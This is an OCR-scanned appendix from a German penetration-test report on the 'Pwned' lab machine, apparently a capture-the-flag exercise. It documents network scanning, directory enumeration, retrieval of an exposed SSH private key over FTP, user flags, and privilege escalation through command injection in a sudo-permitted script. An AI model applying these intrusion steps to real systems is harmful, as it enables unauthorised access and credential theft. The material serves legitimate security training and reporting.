Die Analyse zeigt, dass bereits grundlegende Sicherheitsmangel ausreichen, um weitreichende Angriffe
zu ermoglichen. Insbesondere fehlende Zugriffskontrollen, unsichere Programmierpraktiken und
unzureichende Systemhartung stellen erhebliche Risiken dar.

Die durchgefiihrten Massnahmenempfehlungen adressieren diese Schwachstellen gezielt und zeigen
auf, wie das Sicherheitsniveau des Systems nachhaltig verbessert werden kann.

Abschliessend wird deutlich, dass Sicherheit bereits in der Entwicklungs- und Betriebsphase bertick-
sichtigt werden muss, um solche Schwachstellen friihzeitig zu vermeiden.
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Anhang A Zusitzliche Evidenz

A.1 Reconnaissance

’jL )-[~]

sudo arp-scan -1

[sudo] password for kali:

Interface: eth@, type: EN1OMB, MAC: 52:54:00:7a:d6:94, IPv4: 192.168.100.223
WARNING: Cannot open MAC/Vendor file ieee-ouil.txt: Permission denied

WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)

192.168.100.1 52:54:00:93:46:72 (Unknown: locally administered)
192.168.100.167 52:54:00:99:f2:8e (Unknown: locally administered)

2 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.864 seconds (137.34 hosts/sec). 2 res
ponded

Abbildung 5: ARP-Scan zur Identifikation aktiver Hosts im lokalen Netzwerk als Grundlage zur Bestimmung der
Ziel-IP-Adresse.
Eigene Darstellung

A.2 Enumeration
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) ~

dir -u http://192.168.100.167 \
v /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt \
bak

Gobuster v3.8.2
by 0] Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

http://192.168.100.167
[+] Method: GET
[+] Threads: 10
[+] wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-mediu
m.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: php,html, txt,old,bak
[+] Timeout:

index.html

robots.txt

nothing

server-status (Status: 403) [Size:
hidden_text [Size:

Progress: 1323348 / 1323348 (100.00%)

Abbildung 6: Ergebnis der Directory Enumeration mittels Gobuster zur Identifikation versteckter Verzeichnisse
und Ressourcen.
Eigene Darstellung

192.168.100.167/ 404 Not Found 192.168.100.167/

O A Not Secure 192.168.100.167

-8) Import bookmarks... OffSec KaliLinux # KaliTools < KaliDocs N Kali Forum

Index of /hidden_text

Name Last modified Size Description

& Parent Directory .
[?) secret.dic 2020-07-09 18:37 211

Apache/2.4.38 (Debian) Server at 192.168.100.167 Port 80

Abbildung 7: Offentlich zugingliches Verzeichnis /hidden_text/ mitinternen Dateien als Hinweis auf eine
Fehlkonfiguration.
Eigene Darstellung
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&3] Pwned....!! 192.168.10( 404 Not Fc 192.168.10¢ 192.168.1(%  login

< C @ O @A NotSecure http://192.168.100.167/hidden_t et.dic 25 @ N

-3) Import bookmarks... OffSec Kali Linux # KaliTools ¢ KaliDocs 3 Kali Forums ¢\ Kali NetHunter Exploit-DB

/hacked
/vanakam_nanba
/hackerman.gif
/facebook
/whatsapp
/instagram
/pwned
/pwned. com
/pubg

/cod
/fortnite
/youtube
/kali.org
/hacked.vuln
/users.vuln
/passwd.vuln
/pwned. vuln
/backup.vuln
/.ssh

/root

/home

Abbildung 8: Inhalt der Datei secret.d1c, genutzt als Wortliste fiir weiterflihrende Enumeration.
Eigene Darstellung
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A.3 Initial Access

( )-[~]
lj ftp 192.168.100.167
Connected to 192.168.100.167.
220 (vsFTPd 3.0.3)
Name (192.168.100.167:kali): ftpuser
331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> |}

Abbildung 9: Erfolgreiche Authentifizierung am FTP-Dienst mit identifizierten Zugangsdaten.
Eigene Darstellung

ftp> 1s

229 Entering Extended Passive Mode (||]36285])

150 Here comes the directory listing.

drwxr-xr-x 20 0 4096 Jul 2020 share
226 Directory send OK.

ftp> cd share

250 Directory successfully changed.

ftp> 1s -la

229 Entering Extended Passive Mode (|||47275])
150 Here comes the directory listing.
drwxr-xr-x 20 (1] 4096 Jul 2020 .

drwxrwxrwx 30 1] 4096 Jul 2020 ..
-IW-r--r-- 10 0 2602 Jul 2020 id_rsa
-Ir'W=r--r-- 10 0 75 Jul 2020 note.txt
226 Directory send OK.

ftp>

Abbildung 10: Verzeichnisstruktur des FTP-Servers mit relevanten Dateien, darunter ein privater SSH-Schlissel.
Eigene Darstellung
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ftp> get id_rsa

local: id_rsa remote: id_rsa

229 Entering Extended Passive Mode (||[|41343])

150 Opening BINARY mode data connection for id_rsa (2602 bytes).

100% | Fedededkdededdededdedededededk kk ko dkok ok kokkokodokdokokkkkkk | 2602 25.58 MiB/s 00:00 ETA
226 Transfer complete.

2602 bytes received in 00:00 (3.20 MiB/s)

ftp> get note.txt

local: note.txt remote: note.txt

229 Entering Extended Passive Mode (||]21616])

150 Opening BINARY mode data connection for note.txt (75 bytes).

1O0% | Fededede e sk ke e s s e e e ok ok ok ok ok sk sk ok e ke e e ek ke | 75 478.70 KiB/s 00:00 ETA
226 Transfer complete.

75 bytes received in 00:00 (127.37 KiB/s)

ftp> |

Abbildung 11: Download des privaten SSH-Schlissels (id_rsa) vom FTP-Server.
Eigene Darstellung

arianagpwned:~$ whoami

ariana

arianagpwned:~$ id

uid=1000(ariana) gid=1000(ariana) groups=1000(ariana),24(cdrom),25(floppy),29(audio)
,30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

arianagpwned:~$ |

Abbildung 12: SSH-Sitzung als Benutzer ariana. Die Befehle whoami und id bestatigen den Zugriffskontext.
Eigene Darstellung

arianagpwned: $ cat userl.txt
congratulations you Pwned ariana

Here is your user flag Jdddall
fb8d98be1265dd88bac522e1b2182140

Try harder.need become root

Abbildung 13: Auslesen der ersten Flag im Benutzerkontext ariana als Nachweis des Initial Access.
Eigene Darstellung

’jL :"["']
cat note.txt

Wow you are here

ariana won't happy about this note

sorry ariana :(

Abbildung 14: Ausgabe der Datei note. txt mit kontextuellen Hinweisen fiir die weitere Analyse.
Eigene Darstellung
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A.4 Privilege Escalation

arianagpwned:~$ sudo -1

Matching Defaults entries for ariana on pwned:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ariana may run the following commands on pwned:
(selena) NOPASSWD: /home/messenger.sh

Abbildung 15: Ausgabe von sudo -1 zeigt erweiterte Berechtigungen flir den Benutzer ariana
Eigene Darstellung

arianagpwned:~$ cat /home/messenger.sh
#1/bin/bash

clear

echo "Welcome to linux.messenger
echo ""

users=$(cat /etc/passwd | grep home | cut -d/ -f 3)
echo ""

echo "$users"

echo ""

read -p "Enter username to send message : " name
echo ""

read -p "Enter message for $name :"
echo ""

echo "Sending message to $name

msg

$msg 2> /dev/null

echo
echo "Message sent to $name :) "
echo nn

Abbildung 16: Analyse des Scripts messenger . sh mit unsicherer Eingabeverarbeitung (Command Injection).
Eigene Darstellung
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Welcome to linux.messenger

ariana:
selena:
ftpuser:

Enter username to send message : /bin/bash

Enter message for /bin/bash :/bin/bash

Sending message to /bin/bash
id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
cd /home/selena
1s -al
total 24
drwxrwx--- 3 selena root 4096 Jul 10 2020 .
drwxr-xr-x 5 root root 4096 Jul 10 2020 ..
selena selena 1 Jul 1@ 2020 .bash_history
drwxr-xr-x 3 selena selena 4096 Jul 9 2020 .local
-rw-r--r-- 1 selena selena 132 Jul 10 2020 selena-personal.diary
-rw-r--r-- 1 selena selena 100 Jul 10 2020 user2.txt
cat user2.txt
711fdfc6caad532815a440f71f295¢c176

You are near to me. you found selena too.

Try harder to catch me

Abbildung 17: Auslesen der zweiten Flag im Kontext von selena als Nachweis der Privilege Escalation.
Eigene Darstellung
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